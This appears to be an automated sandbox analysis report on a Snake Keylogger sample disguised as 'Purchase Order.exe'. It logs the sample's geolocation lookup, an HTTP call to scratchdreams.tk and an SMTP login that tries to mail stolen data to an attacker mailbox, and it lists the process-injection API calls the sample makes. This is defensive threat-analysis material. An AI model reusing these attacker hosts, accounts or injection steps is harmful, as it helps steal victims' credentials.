2024-04-04 14:34:20 UTC	705	IN	HTTP/1.1 200 OK Date: Thu, 04 Apr 2024 14:34:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 49 Last-Modified: Thu, 04 Apr 2024 14:33:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HVinTRz1AaUHyNf4fzjumviiAZCQFlse5MX523t%2BN8JxbMNkiDKmZ%2Ff2tQFLGvMDrozZ9aRgc2hSHiroagLXUQVeEPzVvogbHIXdsd%2BSRGn0kIrnzb2ubamntdQwDCH5g2W2Z%2B0d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86f204c888035c7b-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:20 UTC	380	IN	Data Raw: 31 37 35 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 33 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 43 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 43 61 6c 69 66 6f 72 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4c 6f 73 20 41 6e 67 65 6c 65 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 39 30 30 30 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4c 6f 73 Data Ascii: 175<Response><IP>102.129.152.231</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>CA</RegionCode><RegionName>California</RegionName><City>Los Angeles</City><ZipCode>90009</ZipCode><TimeZone>America/Los
2024-04-04 14:34:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	104.21.27.85	443	7048	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-04 14:34:21 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-04-04 14:34:53 UTC	737	IN	HTTP/1.1 522 Date: Thu, 04 Apr 2024 14:34:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fSBp5v8ljD4MSikuuL2FMkTB%2FOEC0DBpIIZXkmUGPBSnGh4Dacrji%2BfPjwiBPSfJX%2FLfCjhAmaSj9RpmqoHrk39xEA5xSzNvofWjYPDJ4hWuI2pU7dSv6CR79cxwq9%2BsmDP8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 86f204ceae597419-MIA alt-svc: h3=":443"; ma=86400
2024-04-04 14:34:53 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 4, 2024 16:34:59.330108881 CEST	587	49756	208.91.199.224	192.168.2.4	220 us2.outbound.mailhostbox.com ESMTP Postfix
Apr 4, 2024 16:34:59.330379963 CEST	49756	587	192.168.2.4	208.91.199.224	EHLO 927537
Apr 4, 2024 16:34:59.525512934 CEST	587	49756	208.91.199.224	192.168.2.4	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 4, 2024 16:34:59.528502941 CEST	49756	587	192.168.2.4	208.91.199.224	AUTH login dHNsb2dzQG1rc2lpbXN0LmNvbQ==
Apr 4, 2024 16:34:59.725707054 CEST	587	49756	208.91.199.224	192.168.2.4	334 UGFzc3dvcmQ6
Apr 4, 2024 16:34:59.928127050 CEST	587	49756	208.91.199.224	192.168.2.4	235 2.7.0 Authentication successful
Apr 4, 2024 16:34:59.928333998 CEST	49756	587	192.168.2.4	208.91.199.224	MAIL FROM:<tslogs@mksiimst.com>
Apr 4, 2024 16:35:00.125015020 CEST	587	49756	208.91.199.224	192.168.2.4	250 2.1.0 Ok
Apr 4, 2024 16:35:00.125196934 CEST	49756	587	192.168.2.4	208.91.199.224	RCPT TO:<tslogs@mksiimst.com>
Apr 4, 2024 16:35:00.338974953 CEST	587	49756	208.91.199.224	192.168.2.4	550 5.4.6 <tslogs@mksiimst.com>: Recipient address rejected: Email Sending Quota Exceeded

Target ID:	0
Start time:	16:34:01
Start date:	04/04/2024
Path:	C:\Users\user\Desktop\Purchase Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order.exe"
Imagebase:	0xf30000
File size:	529'920 bytes
MD5 hash:	B9F9C9CAC777DCA7A78819914DA1BA15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.1733547969.000000000447E000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:34:08
Start date:	04/04/2024
Path:	C:\Users\user\Desktop\Purchase Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order.exe"
Imagebase:	0xe40000
File size:	529'920 bytes
MD5 hash:	B9F9C9CAC777DCA7A78819914DA1BA15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4124971142.00000000034A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000002.00000002.4123792564.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4124971142.0000000003201000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	208
Total number of Limit Nodes:	8

Executed Functions

Function 094B7828 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1952e44047fe7491682b987240065d8a2ce7921e3c13b6828b6a9a047035ac
Instruction ID: 0845e7c7c3a9187014bce678a9e36a9fb8f0e6d03b716e84d237caa0b2c99b86
Opcode Fuzzy Hash: 7a1952e44047fe7491682b987240065d8a2ce7921e3c13b6828b6a9a047035ac
Instruction Fuzzy Hash: 7361C474E051199BDB04CFA9C5809EEFBF2FF88300F14D56AD818AB355D731A942CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 094B7818 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c603cfcd99ed681298ea36d941e0e6d929d9a1fed326e8c02586a994c2ea5124
Instruction ID: 734350216d42c990f463c25b85e2f8c6184b17b7e920408886dd87240343ecac
Opcode Fuzzy Hash: c603cfcd99ed681298ea36d941e0e6d929d9a1fed326e8c02586a994c2ea5124
Instruction Fuzzy Hash: 4C41C6B5E015099FDB04DFAAD9805AEFBF2EF88300F14C46AD918AB354DB309946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 094BB158 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a4487765f280f965513b76f2f24978a2490d4f7565eaa647fe919708d2361a
Instruction ID: 75b9e75634b90c210cba6698507ccc1d23c9b81bdd1e41021f0f3e8ccc817d93
Opcode Fuzzy Hash: f1a4487765f280f965513b76f2f24978a2490d4f7565eaa647fe919708d2361a
Instruction Fuzzy Hash: F021D8B1D056588BEB18CFABC9457DEFEF6AF89340F04C06AD40966264DB750946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 094BB168 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09c78c72a0fdde6cff3d69ea72dd9cc9d2db5c37c9ffb0abb81824a762a640fc
Instruction ID: b0d10850cd10c451647667e545bb928616509e40db4f46c9fcd420a3c5fea5c5
Opcode Fuzzy Hash: 09c78c72a0fdde6cff3d69ea72dd9cc9d2db5c37c9ffb0abb81824a762a640fc
Instruction Fuzzy Hash: 5C21C3B0D046188BEB18CFABC9457DEFEF6AFC8340F04C46AD409A6264DB750946CE90

Uniqueness

Uniqueness Score: -1.00%

Function 094BA280 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tefq, xrefs: 094BA34C
Tefq, xrefs: 094BA41F

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Tefq$Tefq
API String ID: 0-1395890369
Opcode ID: 5c15681cb8c1c6be300ec3b14a895ceedad3d418e15dcd375051167af7effabe
Instruction ID: b717cf54116aa40effbe95b9083ca698d8578783553c1d592d268318d15942ba
Opcode Fuzzy Hash: 5c15681cb8c1c6be300ec3b14a895ceedad3d418e15dcd375051167af7effabe
Instruction Fuzzy Hash: 5761B374E042188FDB08DFA9D984AEEBBF6BF89300F14902AD419AB355DB715946CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0586BD08 Relevance: 2.7, Strings: 2, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(jq, xrefs: 0586C27A
Hjq, xrefs: 0586C398

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: (jq$Hjq
API String ID: 0-2151573235
Opcode ID: 10a27a7028116ea73de3d761934e107e3b31a5418293937106d65fdc1a6c26d0
Instruction ID: 6581aafd4cc053ca6f47c773e1c7ed8aaac861ac130f2bae7e2656c44416948d
Opcode Fuzzy Hash: 10a27a7028116ea73de3d761934e107e3b31a5418293937106d65fdc1a6c26d0
Instruction Fuzzy Hash: 9A51E372B042548FC718EF68D454ABD7BA2FF84300F19846AD98ADB791CA35AC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 094BD5AA Relevance: 2.5, Strings: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HvT, xrefs: 094BD909
PuT, xrefs: 094BD8F6

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: HvT$PuT
API String ID: 0-328515043
Opcode ID: 74347c550cebb10d48b830962cd4aae111879064967259cb3f1b6fbeb113974a
Instruction ID: 70cc93c15f1669d5251907ba96a59e9f24935752be3b02dee251dc72f8941dd1
Opcode Fuzzy Hash: 74347c550cebb10d48b830962cd4aae111879064967259cb3f1b6fbeb113974a
Instruction Fuzzy Hash: 76114CB4E04288CFCB94CF79D49859C7BF6FB88308B20955AD516EB345DB305805DF55

Uniqueness

Uniqueness Score: -1.00%

Function 094B296B Relevance: 2.5, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$fq, xrefs: 094B2C1E
$fq, xrefs: 094B2C34

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: df987ac74fcef65c01f1ebf816a5172a830d06dab8a4a0b72f759712cb2ddcac
Instruction ID: a9c5fd9f10de67c319e2ec80b92adbc0576296da961e927655de62cd541ddc34
Opcode Fuzzy Hash: df987ac74fcef65c01f1ebf816a5172a830d06dab8a4a0b72f759712cb2ddcac
Instruction Fuzzy Hash: B111C074A04328CFDB28CF68C9907AABBB2BF59300F10509AD5496B359CB715E82CF52

Uniqueness

Uniqueness Score: -1.00%

Function 0586A688 Relevance: 2.0, Strings: 1, Instructions: 775COMMON

Download Yara Rule

Strings

#o-m^, xrefs: 0586A708

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: #o-m^
API String ID: 0-3330988397
Opcode ID: b976035a4b31f8d03d427ae120638715f68ff0a6139f56ab856e8bf1fcd28893
Instruction ID: 096504dc54ce3fcb79db40f749983394b3d9bee35aaee4aef6ec235b75465121
Opcode Fuzzy Hash: b976035a4b31f8d03d427ae120638715f68ff0a6139f56ab856e8bf1fcd28893
Instruction Fuzzy Hash: 8962E570F05B899ADF74AF74D85839E7AA1BB46305F10492FD8FACA290DF349841CB46

Uniqueness

Uniqueness Score: -1.00%

Function 05300F8D Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 053011CE

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5e98fda96c5ba6b3b6c2b907e1ecbd0928a82d8caaf3791428db6e9ce4fc6e2e
Instruction ID: 4a287e50b03a96a22ff4b0f71963ca290c76affad25135e05fe44f5826469e1c
Opcode Fuzzy Hash: 5e98fda96c5ba6b3b6c2b907e1ecbd0928a82d8caaf3791428db6e9ce4fc6e2e
Instruction Fuzzy Hash: 39916C71D003199FDB24DFA9CC91BEEBBB2BF48314F148169E849A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05300F98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 053011CE

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 81ad92472dd42c08cc78cae715507f80c3368dc969a8103182901cce6a6ef32e
Instruction ID: 8f44b1281ed93dbfa4df4b20211bc5f5e620db571d5a6113180e410ed9b02094
Opcode Fuzzy Hash: 81ad92472dd42c08cc78cae715507f80c3368dc969a8103182901cce6a6ef32e
Instruction Fuzzy Hash: 0B915B71D003199FDB24DFA9CC91BEEBBB2BF48314F148169E849A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0190ADA8 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0190AFFE

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6d60f10b3f3991d8e788b72bf0e30743980bdd09c19b1b59482ca78a5c8d3eb6
Instruction ID: b8445f8afce87259b633217703a1188c47716492ca4c73d339a5bd9cb376fa9b
Opcode Fuzzy Hash: 6d60f10b3f3991d8e788b72bf0e30743980bdd09c19b1b59482ca78a5c8d3eb6
Instruction Fuzzy Hash: 5C8167B0A00B058FD725DF29D44479ABBF5FF88304F008A2ED58AD7A91DB75E849CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0586A6C8 Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

#o-m^, xrefs: 0586A708

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: #o-m^
API String ID: 0-3330988397
Opcode ID: 177d4e72e0f65d8d31f6d9e8a2c5d1272d3a280d7d810cc479abdeee7dd4d479
Instruction ID: 80abb05d167b8ce818c10b144c9e520f5888c08bcbb6bd247e9d60d2688ed0cf
Opcode Fuzzy Hash: 177d4e72e0f65d8d31f6d9e8a2c5d1272d3a280d7d810cc479abdeee7dd4d479
Instruction Fuzzy Hash: C41250B0E09FC65ADB78AF64898839EB690BB07305F204D1FCCFAC9255DB349486DB45

Uniqueness

Uniqueness Score: -1.00%

Function 0190590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 019059C9

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c715cf4b71c2ddf2de3b5748f5812aa5a7c1bcb6a67111fb5c0186a8b613e6b4
Instruction ID: 058625e03503076451754f151a9700e95aea9f1f7941a3361d6331e39dfada2e
Opcode Fuzzy Hash: c715cf4b71c2ddf2de3b5748f5812aa5a7c1bcb6a67111fb5c0186a8b613e6b4
Instruction Fuzzy Hash: 3C41D1B0C0071DCEDB25CFAAC984B8EBBF6BF49704F60806AD408AB255DB756945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 019044C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 019059C9

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2636b97197289935a542946071a1b1e918afafeb58f37729454f79400352b240
Instruction ID: 3abdf56e47092327047c582b52ef39b6f9648557546cc4ba94ff89cfebc83149
Opcode Fuzzy Hash: 2636b97197289935a542946071a1b1e918afafeb58f37729454f79400352b240
Instruction Fuzzy Hash: 1F41BDB0C0071DCEDB25DFA9C984B9EBBB6BF49704F60806AD408AB251DB756945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05300D09 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05300DA0

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e5fd4829861fce08926146e50b555b39c8dd4c034d168b5d3e8f8466b9c08169
Instruction ID: 4aed79a0e6fa2969f9c473287eb30cb408f06505ac1a801f36198b8c82ef5f1b
Opcode Fuzzy Hash: e5fd4829861fce08926146e50b555b39c8dd4c034d168b5d3e8f8466b9c08169
Instruction Fuzzy Hash: 97215AB59003099FCB10DFAAC885BDEBBF5FF48310F10842AE959A7240C778A540DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05300D10 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05300DA0

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c09785f200746f9682698caa446ebc3dbc05cea9e4ba85bd51bf8dfc380f06fa
Instruction ID: bbf0a50af2d78a04aad50dcee9bdef65d2d0ed868afbb5021e10df5b5ae4a38a
Opcode Fuzzy Hash: c09785f200746f9682698caa446ebc3dbc05cea9e4ba85bd51bf8dfc380f06fa
Instruction Fuzzy Hash: 9C213BB5900309DFCB10DFAAC885BDEBBF5FF48310F50842AE959A7241C778A541DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05300B70 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05300BF6

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: aa6497783fa0dde5ace93410721f1726ddbb773f3dc877968655e880c6d5f4f0
Instruction ID: bc7005fc1ccbe7b2d93e9723ec7113796ed540944e8a14a2175ae2fb837fb141
Opcode Fuzzy Hash: aa6497783fa0dde5ace93410721f1726ddbb773f3dc877968655e880c6d5f4f0
Instruction Fuzzy Hash: 2A2168B1D003098FDB10DFAAC4857EEBBF4EF48324F54842AD459A7241CB789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0190D27C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0190D656,?,?,?,?,?), ref: 0190D717

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5a16fefbd1aca82eb1410e3673d5994363df4c336d4d12ef69a318223a8b5df4
Instruction ID: 3cacdaadd2c6f1ec8b9c6f612f9f9d1388d52442e62dff6054f2f912d7e53b40
Opcode Fuzzy Hash: 5a16fefbd1aca82eb1410e3673d5994363df4c336d4d12ef69a318223a8b5df4
Instruction Fuzzy Hash: 0421E5B59002489FDB10CF9AD984ADEFFF9EB48310F14845AE918A7350D374A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05300DF9 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05300E80

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b09329c059d8376a2c955adaf31be79a8eb1d72dd13a11d1f900f2df625c51f7
Instruction ID: 8ba29f06379147fd5ade32aa323367b6e3baeaf9ed3efffb87b739bf54adbd62
Opcode Fuzzy Hash: b09329c059d8376a2c955adaf31be79a8eb1d72dd13a11d1f900f2df625c51f7
Instruction Fuzzy Hash: 8A2128B1D003499FCB10DFAAC885BDEBBF5FF48324F50842AE959A7250C7789500DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0190D689 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0190D656,?,?,?,?,?), ref: 0190D717

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b3af7a47b41cd0d5220f68d4da940ae6e88da492a4d7a0f02b646306883babde
Instruction ID: 78d5023dabd466843215b9530b0ad44669655eea9255d2085e7876ea74246823
Opcode Fuzzy Hash: b3af7a47b41cd0d5220f68d4da940ae6e88da492a4d7a0f02b646306883babde
Instruction Fuzzy Hash: AB2105B59002489FDB10CF9AD984ADEFBF9EB48314F14801AE918A3350C378A940CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05300E00 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05300E80

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 109b53bcfb22f56ee1dc08a3be0dada90224d69774ad4ce2af18b3706fa56855
Instruction ID: 917dca68bec93586028a702212e73ccdb9914eaad3cf0496c839cf7ee96f6f73
Opcode Fuzzy Hash: 109b53bcfb22f56ee1dc08a3be0dada90224d69774ad4ce2af18b3706fa56855
Instruction Fuzzy Hash: 9921F5B1D003499FDB10DFAAC885AEEBBF5FF48320F50842AE559A7250C7799940DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05300B78 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

